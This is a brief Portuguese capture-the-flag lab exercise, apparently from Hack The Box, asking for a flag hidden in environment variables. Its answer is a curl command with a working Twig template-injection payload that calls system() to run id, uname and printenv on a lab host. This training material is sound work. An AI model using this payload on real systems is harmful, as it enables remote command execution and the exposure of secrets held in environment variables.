Last updated 10 months ago
Use o que você aprendeu nesta seção para obter o sinalizador que está oculto nas variáveis de ambiente. Formato de resposta: HTB{String}
Payload :
curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;printenv")}}' http://94.237.57.222:55319/ | grep "HTB{"
